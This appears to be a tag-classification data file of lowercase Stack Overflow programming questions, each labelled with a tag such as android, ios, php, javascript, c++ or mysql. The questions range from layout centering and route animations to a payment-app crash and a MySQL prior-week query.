android: center buttons horiz. and vert. in a viewgroup  i want to center a group of buttons horizontally and vertically on the display.    this is what i have now:    a custom relativelayout:   <pre><code>relativelayout xml_layout = (relativelayout) findviewbyid(r.id.custom_layout_id); </code></pre>   i create programmatically buttons and add them to the xml_layout:   <pre><code>     xml_layout.addview(ib[i]  lp); </code></pre>   i think i have to use a viewgroup instead  then add my buttons to the viewgroup  add rules to center the viewgroup and then add the viewgroup to my relativelayout.    i tried this   <pre><code> viewgroup vg; vg.addview(ib[i]  lp); //the local variable vg may not have been initialized </code></pre>   and this   <pre><code> viewgroup vg = null; vg.addview(ib[i]  lp); //runtime error </code></pre>   but it don t work.    i new the theory:   <ol> <li>create a viewgroup</li> <li>add my buttons to the viewgroup</li> <li>add the viewgroup to the relativelayout</li> <li>add rules to the viewgroup to center it horizontally<br> and vertically relative to the relativelayout (variable lp)</li> </ol>   but don t know the practice. can someone help me,android
objective-c and arc: why value stored to during its initialization is never read and incompatible pointer  when i run the analyzer tool i m getting value stored to (jsonarr and myrrh) during its initialization is never read on lines and incompatible pointer types assigning to  nsmutablearray * from  nsdictionarty *     <a href= https://i.stack.imgur.com/fab81.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/fab81.png  alt= enter image description here ></a>,objective-c
how do i change the uikeyboard when using the uisearchbar   i want to set the keyboard type of the uisearchbar to uikeyboardappearancealert  but i can t seem to access the uikeyboard of the uisearchbar.,iphone
why the same code goes with different result  i just pull the code of my team. but why it run well with the other simulator  and my device it always goes crash. i also use the <strong>xcode 7.2</strong>  which is the same as the other  and the code are similar  and run with the same simulator (iphone6). but when i go to the <strong>abcviewcontroller</strong>  it goes crash.     it says:   <pre><code>terminating app due to uncaught exception  nsinvalidargumentexception   reason:  storyboard (&lt;uistoryboard: 0x7fb5e2409200&gt;) doesn t contain a view controller with identifier  stepdetailviewcontroller   *** first throw call stack: </code></pre>   the problem is not the code  so i don t put it here. anyone know why this happen,ios
close the parent window without a ie prompt (javascript)  i am trying to close the parent window of a popup  but i get the confirmation box in the parent window. i know this is an ie security  feature  but it will be very annoying to my users. i am aware of the  fix  where you do this    window.open( link    toolbar=no menubar=... );  window.open(     _self     ); window.close();     the issue is that i want to close the parent window from the child window with a link. i know you can also set the parent of the window on the child  but that does not seem to work either. is there any fix out there to do this. thanks for the help.,javascript
implementing non blocking request in php. howto  the problem i face now is that i do not know how to implement non-blocking requests in php. in my application any user activity is archived and this archiving process may take some significant time - up to 5-10 seconds. because of this user interface (which is in javascript) is no longer responsive since it also depends on requests to server. so  suppose i made a request to the server like this (using <code>extjs</code> library which does not matter here):   <pre><code>  ext.ajax.request({       url: /handlers/archive.php   // my handler which i want to make non-blocking       method: post         params:{...} // some parameters submitted to the server   });   ... here are other multiple request to the server    ... they are now waiting for the completion of heavy archive.php procedure </code></pre>   so  how to make this php procedure truly non-blocking  any working example of a non-blocking procedure will be extremely helpful.,php
angularjs  how to animate left/right movement on routechange  i am trying to animate an angular page left/right when changing routes.    the page should animate left if the user goes to a  deeper  level. the page should animate right if the user goes to a  shallower  level.    this would give an app-feel (like android/ios).    i try to use the following method to program the level:   <pre><code>angular     .module( app   [ ngroute   nganimate ] )     .config(function($routeprovider) {         $routeprovider              // route for the home / cases page             .when( /   {                 templateurl :  views/cases.html                   controller  :  casesctrl                   controlleras :  vm                   resolve: {                     page: function() {                         return {                             level: 1                         }                     }                 }             })              // route for the measurements page             .when( /measurements/:route_id   {                 templateurl :  views/measurements.html                   controller  :  measurementsctrl                   controlleras :  vm                   resolve: {                     page: function() {                         return {                             level: 2                         }                     }                 }             }) </code></pre>   i try to use the level to set animation left/right in the main controller like this (not working):   <pre><code>function mainctrl($rootscope  $route) {     var vm = this;      $rootscope.$on( $routechangestart   function(event  next  current) {          // this will show next with a  locals  property         console.log( next   next);         // this will show next without a  locals  property  showing that         //  locals  is not yet available on routechangestart         console.log( next extended   angular.extend({}  next));          // set animation direction         if (current == null) {             // seems like this is the first page we open  so no animations needed             vm.animatedirection =  animate-not ;         } else if (!( page  in current.locals)) {             // current.locals contains values set in the resolve part of $routeprovider             vm.animatedirection =  animate-not ;         } else if (!( page  in next.locals)) {             // current.locals contains values set in the resolve part of $routeprovider             vm.animatedirection =  animate-not ;         } else if ( level  in vm) {             if (current.locals.page.level &gt; next.locals.page.level) {                 vm.animatedirection =  animate-left-to-right ; // we go back a level  so animate from left to right             } else {                 vm.animatedirection =  animate-right-to-left ; // we go deeper  so animate from right to left             }         } else {             vm.animatedirection =  animate-not ; // first page  no animation         }      });  } </code></pre>   this gives me the error  cannot use  in  operator to search for  page  in undefined   because the  locals  property is not yet defined during the  $routechangestart  event.    is there a way to get the  level  of the different routes inside the $routechangestart event     kind regards  hendrik jan,angularjs
iphone-move ui image view along a bezier curve path  i want o move the uiimageview along a bezier path  can anybody point me towards from where i can learn and achieve it.,ios
instantiate and delete an object c++  i am trying to instantiate an object and delete it afterwards  what am i doing wrong    <pre><code>default:         //instantiate object of the errorhandler class         errptr = new errorhandler();         //print the error message to the console screen         errptr-&gt;showerror( invalid input  please select option 1 or 2  and press enter. );         delete errptr;         errptr-&gt;showerror( hello ); //this line is being executed normally like object still exist.         break; </code></pre>   my question is how come i can call the showerror(); method after deleting it s object,c++
bootstrap v4 installing issues in rails  or they are  when i use inspect element on any bootstrap component it s taking css from application.css (not bootstrap itself). i m pretty sure i did something wrong when installing even though i went through the guidelines a few times.    forgot to add i m using rails 4.2.6 and using the gem from: <a href= https://github.com/twbs/bootstrap-rubygem#a-ruby-on-rails  rel= nofollow noreferrer >https://github.com/twbs/bootstrap-rubygem#a-ruby-on-rails</a>    this is what i mean  for example the btn classes are working but they do not point to bootstrap in inspect element but rather to application.css. also the navbar (copy paste from getbootstrap.com) works as far as javascript dropdowns go but css is off. <a href= https://i.stack.imgur.com/4e5kg.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/4e5kg.png  alt= enter image description here ></a>    gemfile   <pre><code>#bootstrap v4 alpha gem  bootstrap    ~&gt; 4.0.0.alpha6  * sprockets-rails (3.2.0) </code></pre>   application.scss   <pre><code>/*  * this is a manifest file that ll be compiled into application.css  which will include all the files  * listed below.  *  * any css and scss file within this directory  lib/assets/stylesheets  vendor/assets/stylesheets   * or any plugin s vendor/assets/stylesheets directory can be referenced here using a relative path.  *  * you re free to add application-wide styles to this file and they ll appear at the bottom of the  * compiled file so the styles you add here take precedence over styles defined in any styles  * defined in the other css/scss files in this directory. it is generally better to create a new  * file per style scope.  *  */   @import  bootstrap ; </code></pre>   application.js   <pre><code>// read sprockets readme (https://github.com/rails/sprockets#sprockets-directives) for details // about supported directives. // //= require jquery //= require jquery_ujs //= require turbolinks //= require_tree . //= require bootstrap </code></pre>,ruby-on-rails
exclude something from foreach loop  is there a way to exclude something from a foreach loop. i am reading a bunch of registry keys and there is one folder which has no read permissions so it errors out and nullifies the foreach loop.,c#
"google map current location does not work properly  this code display proper current location if the system is connected with wifi internet connection but if system is connected with mobile hotspot then it display wrong current location....   <pre><code><div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-js lang-js prettyprint-override ><code>    if (navigator.geolocation) {
      
         navigator.geolocation.getcurrentposition(function (p) {
          
             var latlng = new google.maps.latlng(p.coords.latitude  p.coords.longitude);
             
            
             var mapoptions = {
                 center: latlng 
                 zoom: 15 
                 maptypeid: google.maps.maptypeid.roadmap
             };
             var map = new google.maps.map(document.getelementbyid( dvmap )  mapoptions);
             var marker = new google.maps.marker({
                 position: latlng 
                 map: map 
                 title:  latitude:   + p.coords.latitude +  \n longitude:   + p.coords.longitude
                 //title views when we move mouse on marker // we can not copy this 
             });
             google.maps.event.addlistener(marker   click   function (e) {
                 var infowindow = new google.maps.infowindow();
                 infowindow.setcontent(marker.title);
               //title views when we click mouse on marker // we can copy this 
                 infowindow.open(map  marker);
                 
              
                 
             });
         });
         
         
     } else {
         alert( geo location feature is not supported in this browser. );
     }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>    &lt;div id= dvmap  style= width: 500px; height:400px;border: 3px solid #000; &gt;
     &lt;/div&gt;</code></pre>
 </div>
 </div>
  </code></pre>",javascript
change label with javascript  i have looked for answers but couldn t find anything. i am trying to change the text i have in a label  but to no success     <strong>html</strong>   <pre><code>&lt;li id= 123  class= xxx &gt;   &lt;label class= xxx  for= xxx &gt;something&lt;/label&gt; &lt;/li&gt; </code></pre>   <strong>current javascript</strong>   <pre><code>&lt;script&gt; documentqueryselector( li#field_2_31 label ).innerhtml =  new label ; &lt;/script&gt; </code></pre>,javascript
iphone app best practice - is using the ib a better way to design your app  or writing ui code on your own better   i am creating an iphone app and wanted to know if using nib files created and modified using the ib is a better practice or is it ok to write the complete ui code without using a single nib file     the reason i ask this is because the data for some of the views is going to be dynamic. that is on my main view depending on the data fetched from my server through xml i might need to show one or two or three or four buttons.( a max of four buttons )    so currently i have written this using code and not using even a single nib file  is this correct design for dynamic data that might change the number of buttons displayed,iphone
valid use of reinterpret_cast   empirically the following works (gcc and vc++)  but is it valid and portable code    <pre><code>typedef struct  {     int w[2]; } a;  struct b {     int blah[2]; };  void my_func(b b) {     using namespace std;     cout &lt;&lt; b.blah[0] &lt;&lt; b.blah[1] &lt;&lt; endl; }  int main(int argc  char* argv[]) {      using namespace std;      a a;     a.w[0] = 1;     a.w[1] = 2;      cout &lt;&lt; a.w[0] &lt;&lt; a.w[1] &lt;&lt; endl;      // my_func(a);                     // compiler error  as expected     my_func(reinterpret_cast&lt;b&amp;&gt;(a));  // reinterpret  magic      my_func(  *(b*)(&amp;a) );             // is this equivalent        return 0; } // output: // 12 // 12 // 12 </code></pre>  <ul> <li>is the reinterpret_cast valid  </li> <li>is the c-style cast equivalent  </li> <li>where  the intention is to have the bits located at <code>&amp;a</code> interpreted as a type b  is this a valid / the best approach </li> </ul>   (off topic: for those that want to know <em>why</em> i m trying to do this  i m dealing with two c libraries that want 128 bits of memory  and use structs with different internal names - much like the structs in my example. i don t want memcopy  and i don t want to hack around in the 3rd party code.),c++
nsnumber: no == 0  <pre><code>nsnumber *x = [nsnumber numberwithbool:no]; nsnumber *y = [nsnumber numberwithunsignedint:0]; assert([x isequal:y]); assert(x==y); </code></pre>   the first assertion passes and the second one fails  why   because their  objctype  are different   what the difference between the definition of isequal: and == operator      why i am doing this: i have to store a boolean value in some backend whose api requires an nsnumber instead of bool so i have to convert all bool to nsnumber before storing them. i need to conversion vice versa also.,objective-c
how do i get values of multiple inputs in php  i am writing an sql embedded in php database.  i am facing a problem when dealing with user inputs. i have a php file where the user can select the type of search. for example  select all data entries or limit the search to a given id num  name  last name... this the code where the user selects type of search   <pre><code> &lt;select name= type  &gt; &lt;option value= fm &gt; faculty member search &lt;/option&gt; &lt;tr&gt;&lt;td&gt;list all faculty members&lt;input type= checkbox  name= list[]  value= listall  &gt; &lt;div&gt;                        &lt;label class= textclick &gt; list by id&lt;input type= checkbox  name= list[]  value= listid  &gt;   &lt;/label&gt;  &lt;input class= text  type= text  size =  8  placeholder= insert id  name= listbyid  &gt; &lt;/div&gt; &lt;div&gt; &lt;label class= textclick &gt;list by first name &lt;input type= checkbox  name= list[]  value= listname  &gt;&lt;/label&gt; &lt;input class= text  type= text  placeholder= insert name  name= list  &gt; &lt;/div&gt; &lt;div&gt; &lt;label class= textclick &gt;list by last name&lt;input type= checkbox  name= list[]  value= listfname  &gt;&lt;/label&gt; &lt;input class= text  type= text  placeholder= insert last name  name= listlast  &gt; &lt;/div&gt; &lt;/select&gt; &lt;input type= submit  value= get info &gt; </code></pre>   now in the other php file (where search is actually done) i can t seem to get the values of the user s inputs.. this the part where my code goes wrong   <pre><code>if($_post[ type ]== fm ){     print  list is  . $_post[ list ];         if($_post[ list ]== listall )         {          &gt;         &lt;h1&gt; listing all faculty members &lt;/h1&gt; ;         &lt; php            </code></pre>   this code gave me the following output:    list is    i tried both $_post[ list ] and $_post[ list ] but my code just doesn t seem to pass the if condition,php
iphonesdk: uinavigationcontroller back button is causing app to crash  my app is crashing when i move between viewcontrollers. this is the sequence that causes the crash salesviewcontroller displays confirmviewcontroller. when i press the back button in confirmviewcontroller to go back to salesviewcontroller  the application crashes.    i am not sure why. here is the code for both of the controllers.    thanks in advance.   <pre><code>#import  salesviewcontroller.h    @implementation salesviewcontroller  @synthesize txtcardnumber; @synthesize txtexpires; @synthesize txtgrandtotal;  @synthesize txtzip;  @synthesize txtemail; @synthesize txtccv2; @synthesize txtinvoice;  //@synthesize button;  @synthesize strsaletype;    - (id)initwithnibname:(nsstring *)nibnameornil bundle:(nsbundle *)nibbundleornil {     if(self = [super initwithnibname:nibnameornil bundle:nibbundleornil]) {        }     return self; }  -(ibaction)btntipcalculator:(id)sender {     nslog(@ i was pressed );      tipcalcviewcontroller *tipvc = [[tipcalcviewcontroller alloc] initwithnibname:@ tipcalcview  bundle:nil];     tipvc.delegate = self;      tipvc.passedtotal = txtgrandtotal.text;      [self presentmodalviewcontroller:tipvc animated:yes];      [tipvc release];      }   -(ibaction)btndateselector:(id)sender {     nslog(@ i was pressed );      datepickerviewcontroller *datepickerviewcontroller = [[datepickerviewcontroller alloc] initwithnibname:@ datepickerview  bundle:nil];     datepickerviewcontroller.delegate = self;      [self presentmodalviewcontroller:datepickerviewcontroller animated:yes];      [datepickerviewcontroller release];   }  -(void)datepickerviewcontroller:(datepickerviewcontroller *)controller didchoosedate:(nsstring *)chosendate{       nslog(@ chosen date as string: %@   chosendate );      txtexpires.text = chosendate;       //do processing here... for example let s set the text of the button to the chosen date     //[button settitle: chosendate forstate: uicontrolstatenormal];      [self dismissmodalviewcontrolleranimated:yes]; }  //callback for modal tipcalculator -(void)tipcalcviewcontroller:(tipcalcviewcontroller *)controller didchoosetip:(nsstring *)chosentip {     nsstring *strnewtotal = chosentip;      //close tip calculator     [self dismissmodalviewcontrolleranimated:yes];      //update gui     txtgrandtotal.text = strnewtotal;   }   -(void)btnsubmitclicked {     nsurl *url = [nsurl urlwithstring:@ https://www.eprocessingnetwork.com/cgi-bin/tdbe/transact.pl ];     //nsurl *url = [nsurl urlwithstring:@ https://www.eprocessingnetwork.com/reflect/post.pl ];     asiformdatarequest *request = [[[asiformdatarequest alloc]                                      initwithurl:url] autorelease];      //get settings     //nsuserdefaults *options = [nsuserdefaults standarduserdefaults];     //nsstring *acctnumber = [options stringforkey:@ accountnumber ];     //nsstring *restrictkey = [options stringforkey:@ restrictkey ];      //uncomment for actual       //[request setpostvalue:acctnumber forkey:@ epnaccount ];     //[request setpostvalue:restrictkey forkey:@ restrictkey ];       if([strsaletype compare:@ test ] == nsorderedsame)     {         //for testing only: uncomment above for actual account         [request setpostvalue:@ 080880  forkey:@ epnaccount ];         [request setpostvalue:@ yfqqxjh9pqnugfr  forkey:@ restrictkey ];      }       //for testing only: uncomment above for actual account     [request setpostvalue:@ 080880  forkey:@ epnaccount ];     [request setpostvalue:@ yfqqxjh9pqnugfr  forkey:@ restrictkey ];       //transaction type     if([strsaletype compare:@ sale ] == nsorderedsame)     {         [request setpostvalue:@ sale   forkey:@ trantype ];     }      if([strsaletype compare:@ refund ] == nsorderedsame)     {         [request setpostvalue:@ return   forkey:@ trantype ];     }     if([strsaletype compare:@ test ] == nsorderedsame)     {         [request setpostvalue:@ sale   forkey:@ trantype ];     }      //request no html output     [request setpostvalue:@ no   forkey:@ html ];      //needed to get transid for signature capture     [request setpostvalue:@ report   forkey:@ inv ];      //card number     [request setpostvalue:txtcardnumber.text forkey:@ cardno ];      //parse date     nsstring *strdatefull = txtexpires.text;     nsstring *strmonth = [strdatefull substringwithrange: nsmakerange(0  2)];     nsstring *stryear =  [strdatefull substringwithrange: nsmakerange(3  2)];      //expire month           [request setpostvalue:strmonth forkey:@ expmonth ];      //expire year     [request setpostvalue:stryear forkey:@ expyear ];      //total  send as you would write it. no dollar sign needed     [request setpostvalue:txtgrandtotal.text forkey:@ total ];      //address - this makes tbde ignore requests with no address     [request setpostvalue:@ 1  forkey:@ skip_missing ];      //zip     [request setpostvalue:txtzip.text forkey:@ zip ];      //ccv2     [request setpostvalue:@ cvv2type  forkey:@ 1 ];     [request setpostvalue:txtccv2.text forkey:@ 123 ];      //email     [request setpostvalue:txtemail.text forkey:@ email ];      //invoice # - optional     [request setpostvalue:txtinvoice.text forkey:@ invoice ];      //blocking of course     [request start];       // get confirmation     confirmviewcontroller *anotherviewcontroller = [[confirmviewcontroller alloc] initwithnibname:@ confirmview  bundle:nil];      //set properties     anotherviewcontroller.strconfirmation = [request responsestring];     anotherviewcontroller.strcardnumber = txtcardnumber.text;     anotherviewcontroller.strexpires = txtexpires.text;     anotherviewcontroller.stramount = txtgrandtotal.text;         [self.navigationcontroller pushviewcontroller:anotherviewcontroller animated:yes];       //reset interface     if([anotherviewcontroller.strapproval compare:@   y ] == nsorderedsame)     {         txtcardnumber.text = @  ;         txtexpires.text = @  ;         txtgrandtotal.text = @  ;         txtzip.text = @  ;         txtccv2.text = @  ;         txtemail.text = @  ;         txtinvoice.text = @  ;     }      [anotherviewcontroller release];  /*        //display the results     uialertview *alert = [[uialertview alloc] initwithtitle:@ info                                                       message:[request responsestring]                                                    delegate:nil                                            cancelbuttontitle:@ ok                                             otherbuttontitles: nil];     [alert show];     [alert release];      */    }  /*  // the designated initializer.  override if you create the controller programmatically and want to perform customization that is not appropriate for viewdidload. - (id)initwithnibname:(nsstring *)nibnameornil bundle:(nsbundle *)nibbundleornil {     if (self = [super initwithnibname:nibnameornil bundle:nibbundleornil]) {         // custom initialization     }     return self; } */  /* // implement loadview to create a view hierarchy programmatically  without using a nib. - (void)loadview { } */   // implement viewdidload to do additional setup after loading the view  typically from a nib. - (void)viewdidload {     [super viewdidload];      //needed to get events     [txtcardnumber setdelegate:self];     [txtexpires setdelegate:self];     [txtgrandtotal setdelegate:self];     [txtzip setdelegate:self];     [txtemail setdelegate:self];     [txtccv2 setdelegate:self];     [txtinvoice setdelegate:self];      //adjust title depending on sale type     if([strsaletype compare:@ sale ] == nsorderedsame)     {         self.title = @ sales ;         nslog(@ passed in sale type: %@   strsaletype );          }     if([strsaletype compare:@ refund ] == nsorderedsame)     {         self.title = @ refunds ;                     nslog(@ passed here in sale type: %@   strsaletype );         }     if([strsaletype compare:@ test ] == nsorderedsame)     {         self.title = @ testing ;                     nslog(@ passed in sale type: %@   strsaletype );          }      //add additional button     uibarbuttonitem *submitbutton = [[uibarbuttonitem alloc] initwithtitle:@ submit  style:uibarbuttonitemstyleplain target:self action:@selector(btnsubmitclicked)];        self.navigationitem.rightbarbuttonitem = submitbutton;       [submitbutton release];   }  - (void)didreceivememorywarning {     // releases the view if it doesn t have a superview.     [super didreceivememorywarning];      // release any cached data  images  etc that aren t in use. }  - (void)viewdidunload {     // release any retained subviews of the main view.     // e.g. self.myoutlet = nil; }   - (void)dealloc {     if(txtcardnumber != null)     {            [txtcardnumber release];     }      if(txtexpires != null)     {         [txtexpires release];     }      if(txtgrandtotal != null)     {         [txtgrandtotal release];     }      if(txtzip != null)     {         [txtzip release];     }      if(txtemail != null)     {         [txtemail release];     }      if(txtccv2 != null)     {         [txtccv2 release];     }      if(txtinvoice != null)     {         [txtinvoice release];     }      if(strsaletype != null)     {         [strsaletype release];     }       [super dealloc];     }   @end   #import  confirmviewcontroller.h    @implementation confirmviewcontroller  @synthesize lblstatus; @synthesize lblcardtype; @synthesize lblcardnumber; @synthesize lblexpires; @synthesize lblamount; @synthesize lblapproval;  @synthesize strconfirmation; @synthesize strcardnumber; @synthesize strexpires; @synthesize stramount; @synthesize strapproval;   -(void)btnsignatureclicked {     sigcaptureviewcontroller *anotherviewcontroller = [[sigcaptureviewcontroller alloc] initwithnibname:@ sigcaptureview  bundle:nil];     [self.navigationcontroller pushviewcontroller:anotherviewcontroller animated:yes];     [anotherviewcontroller release];  }  // implement viewdidload to do additional setup after loading the view  typically from a nib. - (void)viewdidload {     [super viewdidload];      //prepare confirmation  all that is needed is the first string           nsarray *strings = [strconfirmation componentsseparatedbystring: @   ];      nsstring *strpreparsed = [strings objectatindex:0];      //break out yes/no so we can set status     //nsstring *stryesno = [strpreparsed substringtoindex:2];     nsstring *stryesorno = [strpreparsed substringwithrange: nsmakerange(1  1)];      //save approval for later     strapproval = stryesorno;      //debug     nslog(@ strno= %@  stryesorno);     nslog(@ strpreparsed= %@   strpreparsed);      //set results        if([stryesorno compare:@ y ] == nsorderedsame)     {         lblstatus.text = @ approved ;         lblstatus.textcolor = [uicolor greencolor];     }      if([stryesorno compare:@ n ] == nsorderedsame)     {         lblstatus.text = @ declined ;         lblstatus.textcolor = [uicolor redcolor];     }      if([stryesorno compare:@ u ] == nsorderedsame)     {         lblstatus.text = @ try again ;         lblstatus.textcolor = [uicolor redcolor];     }      //set card type     if([lblcardnumber.text compare:@ 4 ] == nsorderedsame)     {         lblcardtype.text = @ visa ;     }      if([lblcardnumber.text compare:@ 5 ] == nsorderedsame)     {         lblcardtype.text = @ master ;     }      if([lblcardnumber.text compare:@ 6 ] == nsorderedsame)     {         lblcardtype.text = @ discover ;     }       //set cardnumber     lblcardnumber.text = strcardnumber;      //set expires     lblexpires.text = strexpires;      //set amount     lblamount.text = stramount;      //set approval string     lblapproval.text = strpreparsed;      //add signature button     uibarbuttonitem *signaturebutton = [[uibarbuttonitem alloc] initwithtitle:@ signature  style:uibarbuttonitemstyleplain target:self action:@selector(btnsignatureclicked)];       self.navigationitem.rightbarbuttonitem = signaturebutton;        [signaturebutton release];      //set title     self.title = @ approval ;  }   - (void)didreceivememorywarning {     // releases the view if it doesn t have a superview.     [super didreceivememorywarning];      // release any cached data  images  etc that aren t in use. }  - (void)viewdidunload {     // release any retained subviews of the main view.     // e.g. self.myoutlet = nil;  }   - (void)dealloc {      if(lblcardtype != null)     {         [lblcardtype release];     }      if(lblcardnumber != null)     {         [lblcardnumber release];     }      if(lblexpires != null)     {         [lblexpires release];     }      if(lblamount != null)     {         [lblamount release];     }      if(lblapproval != null)     {         [lblapproval release];     }      if(lblstatus != null)     {         [lblstatus release];     }      if(strconfirmation != null)     {         [strconfirmation release];     }      if(strcardnumber != null)     {         [strcardnumber release];     }      if(strexpires != null)     {         [strexpires release];     }      if(stramount != null)     {         [stramount release];     }      if(strapproval != null)     {         [strapproval release];     }      [super dealloc];   }   @end </code></pre>,iphone
calculate value on checkbox check or uncheck  i m trying to get a subtotal when a user clicks on  a checkbox. what i m trying to accomplish is lessen the need for static code and try to make this more generic. so if i add another row the code will just calculate the row.    here is my table.   <pre><code>&lt;table class= order-table &gt;                                 &lt;thead&gt;                                     &lt;tr&gt;                                         &lt;th&gt;service&lt;/th&gt;                                         &lt;th&gt;description&lt;/th&gt;                                         &lt;th&gt;choose&lt;/th&gt;                                         &lt;th&gt;price&lt;/th&gt;                                     &lt;/tr&gt;                                 &lt;/thead&gt;                                 &lt;tbody&gt;                                     &lt;tr&gt;                                         &lt;td&gt;identification&lt;/td&gt;                                         &lt;td&gt;identify companies&lt;/td&gt;                                         &lt;td&gt;                                             &lt;asp:checkbox id= cbhoaid  runat= server  cssclass= oclick  /&gt;                                         &lt;/td&gt;                                         &lt;td&gt;$30&lt;/td&gt;                                     &lt;/tr&gt;                                     &lt;tr&gt;                                         &lt;td&gt;assesment&lt;/td&gt;                                         &lt;td&gt;  &lt;/td&gt;                                         &lt;td&gt;                                             &lt;asp:checkbox id= cbassesment  runat= server  cssclass= oclick  /&gt;                                         &lt;/td&gt;                                         &lt;td&gt;$25&lt;/td&gt;                                     &lt;/tr&gt;                                     &lt;tr&gt;                                         &lt;td&gt;payoff &lt;/td&gt;                                         &lt;td&gt;   &lt;/td&gt;                                         &lt;td&gt;                                             &lt;asp:checkbox id= cbpayoff  runat= server  cssclass= oclick  /&gt;                                         &lt;/td&gt;                                         &lt;td&gt;$25&lt;/td&gt;                                     &lt;/tr&gt;                                      &lt;tr&gt;                                         &lt;td&gt;rent &lt;/td&gt;                                         &lt;td&gt;   &lt;/td&gt;                                         &lt;td&gt;                                             &lt;asp:checkbox id= cbrentrestrictions  runat= server  cssclass= oclick  /&gt;                                          &lt;/td&gt;                                         &lt;td&gt;$10&lt;/td&gt;                                     &lt;/tr&gt;                                      &lt;tr&gt;                                         &lt;td&gt;cc&lt;/td&gt;                                         &lt;td&gt;   &lt;/td&gt;                                         &lt;td&gt;                                             &lt;asp:checkbox id= cbccr  runat= server  cssclass= oclick  /&gt;                                          &lt;/td&gt;                                         &lt;td&gt;$75&lt;/td&gt;                                     &lt;/tr&gt;                                     &lt;tr&gt;                                         &lt;td&gt;&lt;/td&gt;                                         &lt;td&gt;&lt;/td&gt;                                         &lt;td&gt;subtotal:&lt;/td&gt;                                         &lt;td class= subtotal &gt;&lt;/td&gt;                                     &lt;/tr&gt;                                 &lt;/tbody&gt;                             &lt;/table&gt; </code></pre>   here is how the table is rendered on the page.   <pre><code>&lt;table class= order-table &gt;                                 &lt;thead&gt;                                     &lt;tr&gt;                                         &lt;th&gt;service&lt;/th&gt;                                         &lt;th&gt;description&lt;/th&gt;                                         &lt;th&gt;choose&lt;/th&gt;                                         &lt;th&gt;price&lt;/th&gt;                                     &lt;/tr&gt;                                 &lt;/thead&gt;                                 &lt;tbody&gt;                                     &lt;tr&gt;                                         &lt;td&gt;hoa identification&lt;/td&gt;                                         &lt;td&gt;identify hoa and management companies&lt;/td&gt;                                         &lt;td&gt;                                             &lt;span class= oclick &gt;&lt;input id= maincontent_wizard1_cbhoaid  type= checkbox  name= ctl00$maincontent$wizard1$cbhoaid  /&gt;&lt;/span&gt;                                         &lt;/td&gt;                                         &lt;td&gt;$30&lt;/td&gt;                                     &lt;/tr&gt;                                     &lt;tr&gt;                                         &lt;td&gt;assesment&lt;/td&gt;                                         &lt;td&gt;  &lt;/td&gt;                                         &lt;td&gt;                                             &lt;span class= oclick &gt;&lt;input id= maincontent_wizard1_cbassesment  type= checkbox  name= ctl00$maincontent$wizard1$cbassesment  /&gt;&lt;/span&gt;                                         &lt;/td&gt;                                         &lt;td&gt;$25&lt;/td&gt;                                     &lt;/tr&gt;                                     &lt;tr&gt;                                         &lt;td&gt;payoff /ledger&lt;/td&gt;                                         &lt;td&gt;   &lt;/td&gt;                                         &lt;td&gt;                                             &lt;span class= oclick &gt;&lt;input id= maincontent_wizard1_cbpayoff  type= checkbox  name= ctl00$maincontent$wizard1$cbpayoff  /&gt;&lt;/span&gt;                                         &lt;/td&gt;                                         &lt;td&gt;$25&lt;/td&gt;                                     &lt;/tr&gt;                                      &lt;tr&gt;                                         &lt;td&gt;rent restrictions&lt;/td&gt;                                         &lt;td&gt;   &lt;/td&gt;                                         &lt;td&gt;                                             &lt;span class= oclick &gt;&lt;input id= maincontent_wizard1_cbrentrestrictions  type= checkbox  name= ctl00$maincontent$wizard1$cbrentrestrictions  /&gt;&lt;/span&gt;                                          &lt;/td&gt;                                         &lt;td&gt;$10&lt;/td&gt;                                     &lt;/tr&gt;                                      &lt;tr&gt;                                         &lt;td&gt;cc&amp;amp;r&amp;#39;s&lt;/td&gt;                                         &lt;td&gt;   &lt;/td&gt;                                         &lt;td&gt;                                             &lt;span class= oclick &gt;&lt;input id= maincontent_wizard1_cbccr  type= checkbox  name= ctl00$maincontent$wizard1$cbccr  /&gt;&lt;/span&gt;                                          &lt;/td&gt;                                         &lt;td&gt;$75&lt;/td&gt;                                     &lt;/tr&gt;                                     &lt;tr&gt;                                         &lt;td&gt;&lt;/td&gt;                                         &lt;td&gt;&lt;/td&gt;                                         &lt;td&gt;subtotal:&lt;/td&gt;                                         &lt;td class= subtotal &gt;&lt;/td&gt;                                     &lt;/tr&gt;                                 &lt;/tbody&gt;                             &lt;/table&gt; </code></pre>   and here is the final jquery.   <pre><code>    var cart = {  $triggerbtn: $( .oclick )  $checkboxes: $( .oclick )  $subtotalel: $( .subtotal )   calculate: function () {     var total = 0;      this.$triggerbtn.each(function () {         var $field = $(this);         var ischecked = $field.find( input[type= checkbox ] ).is( :checked );          if (ischecked == true) {             var amount = $field.parent().next().text();             var amountr = amount.replace(/\s+/g    ).replace(/\$/    );             var n2 = number(amountr);             var sum = n2;              total += sum;         }     });      total =  $  + total +   usd ;      return total; }   trigger: function () {     var self = this;     this.$triggerbtn.on( click   function (e) {         //e.preventdefault();         var subtotal = self.calculate();                     self.$subtotalel.text(subtotal);     }); }   init: function () {     this.trigger();     //this.$triggerbtn.trigger( click );  } };  $(function () { cart.init(); }); </code></pre>   <strong>update</strong>    updated javascript to show that it s now calculating properly. i still need to figure out how to get it to only calculate on click and only if the checkbox is selected.    <strong>update 2</strong> i finally figured out how to check the checkboxes and only calculate when a checkbox is checked.,jquery
how to format a web page into frames  i want to divide a jsp page into 3 frames.kindly tell me how to do it,html
what does it mean by constraint specification not allowed here  <pre><code>create table mytable    (fname varchar2(20) constraint mytable_fname_def default  myname      lname varchar2(20) ); </code></pre>   i got the following error when i run the above query    <pre><code>constraint specification not allowed here </code></pre>,sql
mysql select from prior week  not just 7 days  i am attempting to get a query that selects the week prior (sun-sat). i ve fought with this query and the closest i can get is the last 7 days  using the following:   <pre><code>select *   from dates   where date between curdate()-interval 1 week and curdate(); </code></pre>   i m really unsure how to proceed from here. it seems as if i need to create some kind of relation between <code>curdate()</code> and the saturday before maybe     any help is appreciated.,mysql
